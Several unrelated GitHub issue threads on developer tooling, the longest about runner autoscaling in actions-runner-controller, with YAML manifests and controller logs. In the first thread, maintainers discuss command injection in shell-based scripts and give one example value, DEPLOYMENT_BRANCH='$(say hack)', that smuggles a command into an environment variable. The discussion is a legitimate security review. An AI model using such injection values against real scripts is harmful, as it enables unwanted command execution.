I think we should rather migrate from shelljs to execa, because apparently Execa automatically handle such security concerns better (even according to ShellJS security doc: https://github.com/shelljs/shelljs/wiki/Security-guidelines) + it's more used and maintained

I think the install size of execa will be 0 for our users, because WDS has a transitive dependency on it, but shelljs is not transitively depended on by any user package—I'm all for a switch! 😄

I doubt if it really happens in practice that users have unpaired quotes in their path names, and less so that it leads to command injection. But I've thought about the same.

The line is a bit blurry here 🤪 if users paste bad code in their terminal, obviously it's a bad idea. A hidden command can more easily sneak into a template URL. This security issue was reported.
I don't think we should fix "deploy" for example, even though you can hack yourself through a malicious env variable or site config... DEPLOYMENT_BRANCH='$(say hack)' yarn workspace website deploy --skip-build

I think the install size of execa will be 0 for our users, because WDS has a transitive dependency on it, but shelljs is not transitively depended on by any user package—I'm all for a switch! 😄

Yes
Also only Crowdin still use shelljs today in our monorepo so users could just dl execa if we migrate to it
@zpao already attempted a migration here: https://gist.github.com/zpao/7bbb58f2d44b553cf37581d338c826a4
That doesn't look like too complex considering we only have 3 files using shelljs. What annoys me is that we don't have good automated tests to cover these things. I wonder if we shouldn't introduce first a way to test the deployment script for example.

This PR is a good enough solution to the security issue, we'll do the cleanup later

I'm particularly surprised that execa is 1/3 the install size of shelljs... I always considered shelljs as just a thin wrapper.


Follow does not respect playspace transforms

Describe the bug
When using the Follow solver (in this case to display a hand menu), if the playspace does not have Y-Up, the orientation is solved incorrectly. This occurs whether the object is in the Unity root or MixedRealityPlayspace, which is where I would expect the behaviour to differ (i.e. using world up when in root, using playspace up when parented).
To reproduce
Steps to reproduce the behavior:

Load the FollowSolverExample scene
Move the FollowSolverExample gameobject into the MixedRealityPlayspace
Play the scene
Apply a rotation in the Z axis to the MixedRealityPlayspace
Observe that even though the camera local rotation is 0,0,0, the gameobject with the Follow is rotated.

Expected behavior
"Up" is determined by the playspace transform not the world transform.
Screenshots
Rotating the AdjustmentNode node around the Z axis produces the following:

In this image:

Panel A is parented by the MixedRealityPlayspace. It does not have a solver. This behaves as expected.
The other panel is parented by the MixedRealityPlayspace. It does have a follow solver, with orientation type "Face tracked Object"

Your setup

Unity Version 2020.3.30f1
MRTK Version 2.7.2

Target platform

HoloLens 2

Discussion
The scenario for this is typically created using world locking tools, where a 3-body orientation mode can use three points to transform the playspace relative to unity space, however can also occur if the playspace is transformed for other reasons.
In the WLT scenario, the hierarchy looks like this:

and the AdjustmentNode is transformed by WLT. Normally this will be minor, as pitch and roll introduced will be minimal. However if a 3-body orienter is used this can be very large.
Is this intentional behaviour that the follow solver always uses world up rather than up as determined by the playspace?

We appreciate your feedback and thank you for reporting this issue.
Microsoft Mixed Reality Toolkit version 2 (MRTK2) is currently in limited support. This means that Microsoft is only fixing high priority security issues. Unfortunately, this issue does not meet the necessary priority and will be closed. If you strongly feel that this issue deserves more attention, please open a new issue and explain why it is important.
Microsoft recommends that all new HoloLens 2 Unity applications use MRTK3 instead of MRTK2.
Please note that MRTK3 was released in August 2023. It features an all-new architecture for developing rich mixed reality experiences and has a minimum requirement of Unity 2021.3 LTS. For more information about MRTK3, please visit https://www.mixedrealitytoolkit.org.
Thank you for your continued support of the Mixed Reality Toolkit!


Use meta description instead of description

@PierreRambaud Can you please check this ? :)

Fix: https://github.com/PrestaShop/gsitemap/issues/67

Hi @PierreRambaud and @MathiasReker this solution only covers the image caption for the category and not the product.  I believe we need to look at line 408 for a solution if we are going to replace short description of the meta description of the product.

@pvechi could you pleaase try my fix and tell me what you think? :) See latest commit.

Thanks for your reactivity @MathiasReker ;)

@marionf wdyt? :)
There are some issues in the module at the moment. It could be nice to have 4.0.1 released.

Woot, my bad @MathiasReker I on merge without checking the target branch.
Can you target the dev branch instead of master?

I did it for @MathiasReker  Sorry for the mistake

Thank you @PierreRambaud

Thanks @MathiasReker and @PierreRambaud all looks good. Sorry for MIA.


I can't load enum in nuxt typescript :(

Environment
Local
Reproduction
I'm using nuxt 3 and want to load my enum file in node module package. Nuxt always return error 500 like this one

This my code
<script lang="ts" setup>
import { EventType } from<EMAIL_ADDRESS>
// I just want to using my enum :(
console.info('pleease help me to fix it :( ', EventType)
<script>

Describe the bug
I cant load my enum file in nuxt :(
Additional context
No response
Logs
No response

@muzanella11
Is it possible to provide a reproduction so that people could find the cause?

I can reproduce it here:
https://stackblitz.com/github/ianjamieson/debug-nuxt-import-enums?file=playground%2Fapp.vue
Example is undefined in this instance.
I tried also adding an import in the module definition, which results with my IDE finding the enum and adding auto complete options for it without needing to import it.
But then when accessing the page, it still shows as undefined.

@ianjamieson
Thank you for providing a reproduction.
It seems that you are making some mistakes in your code.

You "declare" Example enum without actually defining it
If I'm correct, declare is used to tell TypeScript that "this is implemented somewhere else so it's safe to run. Here I just want to define its type for you to refer".

You import Example enum wrongly
While you export Example as default export, you import it as named export Example in app.vue

In summary, if you remove declare and fix import name, your code works:
https://stackblitz.com/edit/github-qnieyk

Here are some more information for deep understanding.
Pushing a dir on imports:dirs hook means that files in the directory and their exports are listed up in .nuxt/imports.d.ts, which in turn means that you can import them from #imports alias.
Note that if you default-export something, the file name is used as named export. For example, if you push path/to/your/module/runtime dir, and enums.ts file exists there with default export, you can import the default export as named export enum from #imports alias.
// path/to/your/module/runtime/enums
const something = true

export default something

// .nuxt/imports.d.ts
export { default as enums } from `path/to/your/module/runtime/enums`

// your file
import { enums } from `#imports`

If you named-export something, the name is used to export from #imports:
// path/to/your/module/runtime/enums
export const something = true

// .nuxt/imports.d.ts
export { something } from `path/to/your/module/runtime/enums`

// your file
import { something } from `#imports`

That is, if you want use default export in your file while letting #imports export it as named export, you have to give the same name to the file and the export.
Here are sample code:
https://stackblitz.com/edit/github-zkqn92

@muzanella11
I'm not sure what happens in your case, but I guess you are making same kind of mistakes 🤔
I could help if you provide a reproduction.

Thanks @NozomuIkuta for the detailed response.


Support for AS Path filters

Is your feature request related to a problem? Please describe.
To document and use this to update configuration, this should be nice to have in there.
Describe the solution you'd like
Add AS Path filter option, need to support to put in Regex, can be a text field example. As long as it can be used in the API.
Describe alternatives you've considered
This is can be done with just json in the object, but is not that easy for everyone.
Additional context
Example for an AS Path filter:
as-path-filter ASPF-ALREION-IMPORT index 10 permit ^1299.*

hi @HumlePung  - can you expand on be used by the api ?


How to fix the RuntimeError: CUDA error: CUBLAS_STATUS_EXECUTION_FAILED when calling `cublasGemmEx

Thanks for your work and sharing your codes!
CUDA_VISIBLE_DEVICES=0,1 python -m torch.distributed.launch --nproc_per_node=2 --master_port 89898 train.py --dataset CUB_200_2011 --split overlap --num_steps 10000 --fp16 --name sample_run

When I train on two gpus(1080TI *2), it is current.
the configuration is CUDA 11.1, pythorch 1.8.1, torchvision 0.9.1, python 3.8.3
Warning:  multi_tensor_applier fused unscale kernel is unavailable, possibly because apex was installed without --cuda_ext --cpp_ext. Using Python fallback.  Original ImportError was: ModuleNotFoundError("No module named 'amp_C'")
Warning:  apex was installed without --cpp_ext.  Falling back to Python flatten and unflatten.
Training (X / X Steps) (loss=X.X):   0%|| 0/749 [00:00<?, ?it/s]Warning:  apex was installed without --cpp_ext.  Falling back to Python flatten and unflatten.
Training (X / X Steps) (loss=X.X):   0%|| 0/749 [00:42<?, ?it/s]
Traceback (most recent call last):
  File "train.py", line 400, in <module>
    main()
  File "train.py", line 397, in main
    train(args, model)
  File "train.py", line 226, in train
    loss, logits = model(x, y)
  File "/home/lirunze/anaconda3/lib/python3.8/site-packages/torch/nn/modules/module.py", line 889, in _call_impl
    result = self.forward(*input, **kwargs)
  File "/home/lirunze/anaconda3/lib/python3.8/site-packages/apex-0.1-py3.8.egg/apex/parallel/distributed.py", line 560, in forward
    result = self.module(*inputs, **kwargs)
  File "/home/lirunze/anaconda3/lib/python3.8/site-packages/torch/nn/modules/module.py", line 889, in _call_impl
    result = self.forward(*input, **kwargs)
  File "/home/lirunze/anaconda3/lib/python3.8/site-packages/apex-0.1-py3.8.egg/apex/amp/_initialize.py", line 196, in new_fwd
    output = old_fwd(*applier(args, input_caster),
  File "/home/lirunze/xh/project/git/trans-fg_-i2-t/models/modeling.py", line 305, in forward
    part_logits = self.part_head(part_tokens[:, 0])
  File "/home/lirunze/anaconda3/lib/python3.8/site-packages/torch/nn/modules/module.py", line 889, in _call_impl
    result = self.forward(*input, **kwargs)
  File "/home/lirunze/anaconda3/lib/python3.8/site-packages/torch/nn/modules/linear.py", line 94, in forward
    return F.linear(input, self.weight, self.bias)
  File "/home/lirunze/anaconda3/lib/python3.8/site-packages/torch/nn/functional.py", line 1753, in linear
    return torch._C._nn.linear(input, weight, bias)
RuntimeError: CUDA error: CUBLAS_STATUS_EXECUTION_FAILED when calling `cublasGemmEx( handle, opa, opb, m, n, k, &falpha, a, CUDA_R_16F, lda, b, CUDA_R_16F, ldb, &fbeta, c, CUDA_R_16F, ldc, CUDA_R_32F, CUBLAS_GEMM_DFALT_TENSOR_OP)`

Could you analyze the problem about this? Thank you!

How did you solve this problem?

Because of high pytorch's versin, please use the pytorch 1.7.1 or 1.5.1 giving from author.

信件已经收到啦~


Removes the Apptentive SDK

I cannot keep committing to handling 100% of app feedback + a staggering number of complaints about transit service issues. To that end, I’m removing Apptentive SDK integration. It was fun while it lasted. I’ll resurrect the ‘email the mailing list’ thing and add iOS 10.3’s ratings prompt support soon.

☹


Metric TotalNumberOfQueuedAndInProgressWorkflowRuns doesn't seem to line up with Current workflow/job counts

Describe the bug
We are still battling the 'cancellation' bug in our organization, many times running into pod reconciles at times where it doesn't make sense.  Typically the scale up works (tho since 0.20.1 its been scaling up tremendously slowly, if it even scales up to the proper amount of runners needed - more in details), but scaling down happens prematurely and cancels active workflow jobs.  I have been able to test the 0.20.4 version but cancellations occur even more often than not with that release, and that includes being capped at 24 runners for some odd reason.  I started monitoring the suggested replicas and am seeing a lot of oddities, which I am not yet able to map to any specific part of the code...
Checks
Example Log from Controller:
2022-01-18T19:15:05.548Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 8 by TotalNumberOfQueuedAndInProgressWorkflowRuns	{"workflow_runs_completed": 0, "workflow_runs_in_progress": 8, "workflow_runs_queued": 0, "workflow_runs_unknown": 0, "namespace": "default", "kind": "runnerdeployment", "name": "runners", "horizontal_runner_autoscaler": "runners-autoscaler"}

Example from CLI written w/ same code to grab workflow runs/jobs:
./airbin/checkctl github list_jobs
2022/01/18 13:15:08 [DEBUG] Total Count: 1 for Perform release (queued)
-----workflow stats for<PHONE_NUMBER>-----Jobs Completed: 65Jobs Queued: 18Jobs In Progress: 46Jobs Unknown: 0

To Reproduce
Steps to reproduce the behavior:

Use TotalNumberOfQueuedAndInProgressWorkflowRuns
Use deployment from screenshots below
Launch workflow with 100+ jobs (in matrix if possible)

Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
metadata:
  namespace: default
  name: runners
spec:
  template:
    metadata:
      annotations:
        cluster-autoscaler.kubernetes.io/safe-to-evict: "true"
    spec:
      dockerdWithinRunnerContainer: true
      organization: myOrganization
      nodeSelector:
        com.example/capacity-type: SPOT
        com.example/purpose: github-runners
        com.example/environment: ops
      labels:
        - java
        - linux
        - eks
        - self-hosted
      resources:
        requests:
          cpu: "1.0"
          memory: "10Gi"
---
apiVersion: actions.summerwind.dev/v1alpha1
kind: HorizontalRunnerAutoscaler
metadata:
  namespace: default
  name: runners-autoscaler
spec:
  scaleTargetRef:
    name:runners
  scaleDownDelaySecondsAfterScaleOut: 7200
  minReplicas: 1
  maxReplicas: 150
  metrics:
  - type: TotalNumberOfQueuedAndInProgressWorkflowRuns
    repositoryNames:
    - my_repository

Environment (please complete the following information):

Controller Version [0.20.1->0.20.4]
Deployment Method: Helm

Additional context
This has been an ongoing issue but since the upgrade to the 0.20.x branch I believe its gotten worse.  I am not sure if its the GitHub API or something in the calculations to determine the suggested replicas.  Either way, is there anything I am missing here?  I am not sure why I can get such different results on my own GitHub API calls from command line vs that of the controller's autoscaler suggested replicas.
scaleDownDelaySecondsAfterScaleOut: 7200 was put in to battle some of the unnecessary kills, it isn't working as well though because after a scale up and the runners stay at scale, it eventually causes runners to get interrupted (by controller kills) during the middle of tests as well.

I might be caught on the whole "this is fixed but not released" - as I see the pagination was added recently but isn't in release 0.20.4 yet.  I built it locally and will test it out tonight!

@jbkc85 Just curious, but how many repositories are intended to use the same set of organizational runners managed by your runners RunnerDeployment?

@jbkc85 Just curious, but how many repositories are intended to use the same set of organizational runners managed by your runners RunnerDeployment?

Only one.  However this one has a matrix that is generated that can have anywhere between 75 - 200+ tests associated with it.  Furthermore, during the release, it actually has a matrix that is used on a second matrix....meaning that you have in parallel 125+ tests generally.
Very expensive testing suite and lots of dynamics :-)

@jbkc85 please do let us know how your testing goes, we're currently testing HEAD for a release so it would be great to know if real world uses also show no issues.

@jbkc85 please do let us know how your testing goes, we're currently testing HEAD for a release so it would be great to know if real world uses also show no issues.

so far so good!  The only issues we have ran into with tests today have been memory related - which I wish was easier to detect (as the runner controller will delete the pod before I can investigate and find out about the memory eviction).  Will update after a full day of runs.

So during a scale down event, we had the following scenario:
1.6426248285364957e+09	DEBUG	actions-runner-controller.runner	Rechecking the runner registration in 1m10.927349149s	{"runner": "default/runners-lsf87-qbmtw"}
1.6426248285458472e+09	INFO	actions-runner-controller.runner	Skipped registration check because it's deferred until 2022-01-19 20:41:28 +0000 UTC. Retrying in 58.454161511s at latest	{"runner": "default/runners-lsf87-qbmtw", "lastRegistrationCheckTime": "2022-01-19 20:40:28 +0000 UTC", "registrationCheckInterval": "1m0s"}
1.6426248294468365e+09	INFO	actions-runner-controller.runner	Skipped registration check because it's deferred until 2022-01-19 20:41:28 +0000 UTC. Retrying in 57.55317141s at latest	{"runner": "default/runners-lsf87-qbmtw", "lastRegistrationCheckTime": "2022-01-19 20:40:28 +0000 UTC", "registrationCheckInterval": "1m0s"}
1.6426248452326217e+09	INFO	actions-runner-controller.runner	Skipped registration check because it's deferred until 2022-01-19 20:41:28 +0000 UTC. Retrying in 41.767390462s at latest	{"runner": "default/runners-lsf87-qbmtw", "lastRegistrationCheckTime": "2022-01-19 20:40:28 +0000 UTC", "registrationCheckInterval": "1m0s"}
1.6426249621067107e+09	INFO	actions-runner-controller.runner	Updated registration token	{"runner": "runners-lsf87-qbmtw", "repository": ""}
1.6426249621073768e+09	DEBUG	events	Normal	{"object": {"kind":"Runner","namespace":"default","name":"runners-lsf87-qbmtw","uid":"8b20e268-d9e2-44db-b9ae-9f6c79174a67","apiVersion":"actions.summerwind.dev/v1alpha1","resourceVersion":"64949884"}, "reason": "RegistrationTokenUpdated", "message": "Successfully update registration token"}
1.6426250256327832e+09	DEBUG	events	Normal	{"object": {"kind":"RunnerReplicaSet","namespace":"default","name":"runners-lsf87","uid":"16cba2f6-1005-43cf-9949-e7a81816e153","apiVersion":"actions.summerwind.dev/v1alpha1","resourceVersion":"64952993"}, "reason": "RunnerDeleted", "message": "Deleted runner 'runners-lsf87-qbmtw'"}
1.6426250268427994e+09	INFO	runner-resource	validate resource to be updated	{"name": "runners-lsf87-qbmtw"}
1.6426250268519974e+09	INFO	runner-resource	validate resource to be updated	{"name": "runners-lsf87-qbmtw"}
1.6426250268677664e+09	INFO	actions-runner-controller.runner	Removed runner from GitHub	{"runner": "default/runners-lsf87-qbmtw", "repository": "", "organization": "my_org"}
1.6426250274022748e+09	DEBUG	actions-runner-controller.runnerreplicaset	Failed to check if runner is busy. Either this runner has never been successfully registered to GitHub or it still needs more time.	{"runnerreplicaset": "default/runners-lsf87", "runnerName": "runners-lsf87-qbmtw"}
1.6426250298669991e+09	DEBUG	events	Normal	{"object": {"kind":"RunnerReplicaSet","namespace":"default","name":"runners-lsf87","uid":"16cba2f6-1005-43cf-9949-e7a81816e153","apiVersion":"actions.summerwind.dev/v1alpha1","resourceVersion":"64952993"}, "reason": "RunnerDeleted", "message": "Deleted runner 'runners-lsf87-qbmtw'"}

I am a little confused because this job was in the middle of running a test, and it also looked like there was a registration token just updated....yet it deleted the runner anyway.  Any thoughts or explanation on the logic used here?

Failed to check if runner is busy. Either this runner has never been successfully registered to GitHub or it still needs more time.

This means that it was unable to find the runner out of the results of "list self-hosted runners" API calls.
I thought you're now testing it with an unreleased version of ARC that does have pagination support for that API call, right?
Perhaps it's not working as intended, or you're using a wrong/outdated image?

Failed to check if runner is busy. Either this runner has never been successfully registered to GitHub or it still needs more time.

This means that it was unable to find the runner out of the results of "list self-hosted runners" API calls. I thought you're now testing it with an unreleased version of ARC that does have pagination support for that API call, right? Perhaps it's not working as intended, or you're using a wrong/outdated ARC image?

I created my own image based off of what is currently in HEAD of master.  So it does have the pagination support for the runners now.
Honestly I am not sure where the foul play is coming from just yet - though the following lines (https://github.com/actions-runner-controller/actions-runner-controller/blob/master/github/github.go#L147-L148) have me somewhat concerned:
	// we like to give runners a chance that are just starting up and may miss the expiration date by a bit
	runnerStartupTimeout := 3 * time.Minute

Basically in our environment, a brand new node is spun up to take care of a pod...this is generally pretty fast to pick up, but can still take 2-3 minutes from the runner 'scheduling' to the actual runner creation.  This means that the registration token could already timeout right?  If thats so I think I would like to extend this timeout to at least 5 minutes hoping to give runners a bit more time to spin up.
That being said, I am also looking into creating a struct creating an EvictionTimer around those items that are being marked for deletion or are being marked as 'safe to delete'.  The reason being is if we look at a project like the autoscaling cluster controller, nodes marked as 'able to delete' have to be marked as such for at least 10 minutes.  I think this project would benefit from taking a similar approach, and giving pods a timer which ultimately gives them a chance to avoid eviction/deletion if a second/third call to the GitHub API reveals that the pods are in fact still active.
Let me know your thoughts and I apologize if its a lot of babbling on!

giving pods a timer which ultimately gives them a chance to avoid eviction/deletion if a second/third call to the GitHub API reveals that the pods are in fact still active.

I think this is already handled by ARC(as it never tries to delete busy runners) and actions/runner(as it delays the runner agent termination until the WIP workflow job completes, if any).
Back to your original issue:

Suggested desired replicas of 8 by TotalNumberOfQueuedAndInProgressWorkflowRuns

If you think this specific number 8 is too low and doesn't reflect the actual number of queued and wip workflow runs, it might be due to pagination not working correctly, or the recalculation isn't happening frequently enough.
Regarding the latter, ARC does the recalculation only on each sync interval, which is configurable via --sync-period flag of ARC's controller-manager. If it's set to 10 seconds or so, it would be able to keep up with the demand pretty quickly, but you'll get GitHub API rate limit sooner depending on your scale.
If you've set it to 10 minutes or so, scale in/out can be delayed by approx 10 minutes but instead GitHub API rate limit is less of an issue.
For https://github.com/actions-runner-controller/actions-runner-controller/issues/1057#issuecomment-1016864483, there might be a chance that the 10-minutes registration timeout is not long enough for you?
Unfortunately that timeout is hard-coded so you'd need to update code, give it a longer timeout like registrationTimeout := 20 * time.Minute to give it a try.

If you think this specific number 8 is too low and doesn't reflect the actual number of queued and wip workflow runs, it might be due to pagination not working correctly, or the recalculation isn't happening frequently enough.

This was resolved because the code was in master but not in the latest 'release', so when I built an image off of master it worked as expected.

For #1057 (comment), there might be a chance that the 10-minutes registration timeout is not long enough for you?
Unfortunately that timeout is hard-coded so you'd need to update code, give it a longer timeout like registrationTimeout := 20 * time.Minute to give it a try.

The weird thing about this, and I can certainly jump over to that issue and comment given the original title of this issue is no longer a true 'issue' - there was no further log about the registrationDidTimeout - so theoretically the pod that can't be checked on whether or not it is busy should of never been thrown into the deletion candidates pile right?

there was no further log about the registrationDidTimeout - so theoretically the pod that can't be checked on whether or not it is busy should of never been thrown into the deletion candidates pile right?

I think it's the opposite? Currently, ARC deletes a runner once it failed to report its status for registrationTimeout, which is equivalent to registrationDidTimeout = true.
registrationTimeout is there for a good reason, so I don't think disabling or removing it at all isn't the way to go. It's there to prevent runners that failed in the middle of the initialization process to not hand forever in the K8s cluster. We did see such failure scenarios before (like a year ago or so) so we added it as a rescue.
That said, I guess it can be useful if registrationTimeout was configurable, via maybe per ARC installation or per runnerdeployment. WDYT?

That said, I guess it can be useful if registrationTimeout was configurable, via maybe per ARC installation or per runnerdeployment. WDYT?

I would like that personally.  I do think having it is a good idea, but I am also wondering now that I am spending more time dissecting this code.... is it smart to base the registrationTimeout against the creation of the pod?  There are instances in the ARC controller/runner_controller.go that force a call to update registration token (https://github.com/actions-runner-controller/actions-runner-controller/blob/9ae83dfff54c074af7cbc44df812078183d559b5/controllers/runner_controller.go#L562) - which implies that the restart/recreation of a pod is not actually triggered....yet the reconciliation of pods uses the runner.CreationTimestamp to determine whether or not registration has timed out (https://github.com/actions-runner-controller/actions-runner-controller/blob/9ae83dfff54c074af7cbc44df812078183d559b5/controllers/runnerreplicaset_controller.go#L197).  Doesn't this imply that a pod that maybe has been up for 15+ minutes through whatever means is subject to immediate reconciliation if it recently re-registered and has not updated its status on the GitHub API?

@jbkc85 Since v0.22(the next, unreleased version of ARC), ARC will never proactively remove any runner pods whose runners aren't registered to GitHub yet.
It will first wait for the runner to register (or timeout) anyway, call the DeleteRunner API to prevent any job to be scheduled, and only after that it removes the runner pod. This way, there will be NO chances of job cancellation due to premature runner deletion.

@jbkc85 It would work uniformly for both pull-based scale (e.g. TotalNubmerOfQueuedAndInProgressWorkflwoRuns) and webhook-based scale.
I'd appreciate it if you could test our canary version of unreleased ARC(it's tagged with canary in the container image registry)!

Hello @mumoshu , please hold this one, it's really unclear
Bump into this as well v0.23.0 (orgwide):
spec:
  - type: PercentageRunnersBusy
    scaleDownAdjustment: 1
    scaleDownThreshold: "0.3"
    scaleUpAdjustment: 2
    scaleUpThreshold: "0.75"
    repositoryNames:
    - repo1
    - repo2
  - type: TotalNumberOfQueuedAndInProgressWorkflowRuns
    repositoryNames:
    - repo1
    - repo2

I have specifically validated gh api /repos/{owner}/{repo}/actions/runs all are in status == completed, however TotalNumberOfQueuedAndInProgressWorkflowRuns showing false number of desired pods!
NAME                 MIN   MAX   DESIRED   SCHEDULE
gha-ci-runners       0     15    1

@dennybaa Hey! I have never tested enabling both PercentageRunnersBusy and TotalNumberOfQueuedAndInProgressWorkflowRuns at the same time. How would it work? 🤔
Also, could you share the full RunnerDeployment and HorizontalRunnerAutoscaler YAMLs?

Hey @mumoshu,

Are you trying to scale to/from zero and is that why you're saying DESIRED=1 isn't what you want when all the workflow runs are in status of completed?

First of all very right, I do not expect  DESIRED=1.
Elaborating further, initially it was only TotalNumberOfQueuedAndInProgressWorkflowRuns, but it had the same effect. As it's stated when there are two, only if the primary rule PercentageRunnersBusy gives 0 the secondary kicks in, and it indeed looks so.
My goal is to scale from 0 and evidently I don not expect to scale up if there are no jobs in progress and in queue, so the desired state should be 0. Am I missing anything here?
Obfuscated details:
apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
spec:
  replicas: 7
  selector: null
  template:
    metadata: {}
    spec:
      dockerMTU: 1460
      dockerdContainerResources: {}
      dockerdWithinRunnerContainer: true
      env:
      - name: DISABLE_RUNNER_UPDATE
        value: "true"
      image: foo/github-actions-runner:dind
      imagePullPolicy: Always
      labels:
      - ci-runner
      nodeSelector:
        node_pool: github-runner-pool
      organization: foo
      resources:
        requests:
          cpu: "28"
          memory: 64Gi
      serviceAccountName: gha-ci-runners
      tolerations:
      - effect: NoSchedule
        key: github-runner
        operator: Exists

apiVersion: actions.summerwind.dev/v1alpha1
kind: HorizontalRunnerAutoscaler
spec:
  maxReplicas: 15
  metrics:
  - repositoryNames:
    - repo1
    - repo2
    scaleDownAdjustment: 1
    scaleDownThreshold: "0.3"
    scaleUpAdjustment: 2
    scaleUpThreshold: "0.75"
    type: PercentageRunnersBusy
  - repositoryNames:
    - repo1
    - repo2
    type: TotalNumberOfQueuedAndInProgressWorkflowRuns
  minReplicas: 0
  scaleTargetRef:
    name: gha-ci-runners

And this is really looks so through the night when are no ci jobs scheduled at all, note 7h53m a runner is always up:
test--github-runner-po-8cba8405-282w   Ready    <none>   7h53m   v1.21.10-gke.2000
test--github-runner-po-8cba8405-b4tx   Ready    <none>   18m     v1.21.10-gke.2000
test--github-runner-po-8cba8405-b5pr   Ready    <none>   20m     v1.21.10-gke.2000
test--github-runner-po-8cba8405-h8qd   Ready    <none>   24m     v1.21.10-gke.2000

@dennybaa Thanks! Would you mind sharing the full manifest, without removing e.g. metadata.name, so that I'm more confident you've no mistakes in your config.
Also, it would be good idea to review your controller logs, as it usually prints what the desired replicas ARC calculated, and why.

@mumoshu Sure edited, the existing pod. Yup, exactly these two:
2022-05-20T08:53:00Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 0 by PercentageRunnersBusy	{"replicas_desired_before": 1, "replicas_desired": 0, "num_runners": 1, "num_runners_registered": 1, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners", "enterprise": "", "organization": "matter-labs", "repository": ""}
2022-05-20T08:53:01Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 1 by TotalNumberOfQueuedAndInProgressWorkflowRuns	{"workflow_runs_completed": 0, "workflow_runs_in_progress": 0, "workflow_runs_queued": 1, "workflow_runs_unknown": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners"}

Thanks. Seems good so far. How about controller logs?

Here's a larger slice:
2022-05-20T08:54:11Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-ci-runners-9bq8b-lrfm2", "podCreationTimestamp": "2022-05-20 08:38:33 +0000 UTC"}
2022-05-20T08:54:53Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 2 by PercentageRunnersBusy	{"replicas_desired_before": 3, "replicas_desired": 2, "num_runners": 3, "num_runners_registered": 3, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-default-stage", "horizontal_runner_autoscaler": "gha-default-stage", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:54:53Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 3	{"horizontalrunnerautoscaler": "actions-runner-system/gha-default-stage", "suggested": 2, "reserved": 0, "min": 3, "max": 9}
2022-05-20T08:54:53Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 2 by PercentageRunnersBusy	{"replicas_desired_before": 3, "replicas_desired": 2, "num_runners": 3, "num_runners_registered": 3, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-deployer-stage", "horizontal_runner_autoscaler": "gha-deployer-stage", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:54:53Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 3	{"horizontalrunnerautoscaler": "actions-runner-system/gha-deployer-stage", "suggested": 2, "reserved": 0, "min": 3, "max": 6}
2022-05-20T08:54:53Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 0 by PercentageRunnersBusy	{"replicas_desired_before": 1, "replicas_desired": 0, "num_runners": 1, "num_runners_registered": 1, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:54:54Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 1 by TotalNumberOfQueuedAndInProgressWorkflowRuns	{"workflow_runs_completed": 0, "workflow_runs_in_progress": 0, "workflow_runs_queued": 1, "workflow_runs_unknown": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners"}
2022-05-20T08:54:54Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 1	{"horizontalrunnerautoscaler": "actions-runner-system/gha-ci-runners", "suggested": 1, "reserved": 0, "min": 0, "max": 15}
2022-05-20T08:55:48Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-l57r9", "podCreationTimestamp": "2022-05-19 14:58:09 +0000 UTC"}
2022-05-20T08:55:48Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-8pkkp", "podCreationTimestamp": "2022-05-19 23:24:48 +0000 UTC"}
2022-05-20T08:55:48Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-kqlnf", "podCreationTimestamp": "2022-05-19 15:54:34 +0000 UTC"}
2022-05-20T08:55:48Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-4fklb", "podCreationTimestamp": "2022-05-19 14:32:26 +0000 UTC"}
2022-05-20T08:55:48Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-spf6l", "podCreationTimestamp": "2022-05-19 15:53:39 +0000 UTC"}
2022-05-20T08:55:48Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-ci-runners-9bq8b-lrfm2", "podCreationTimestamp": "2022-05-20 08:38:33 +0000 UTC"}
2022-05-20T08:55:48Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-r6vpv", "podCreationTimestamp": "2022-05-19 15:56:04 +0000 UTC"}
2022-05-20T08:56:08Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-4fklb", "podCreationTimestamp": "2022-05-19 14:32:26 +0000 UTC"}
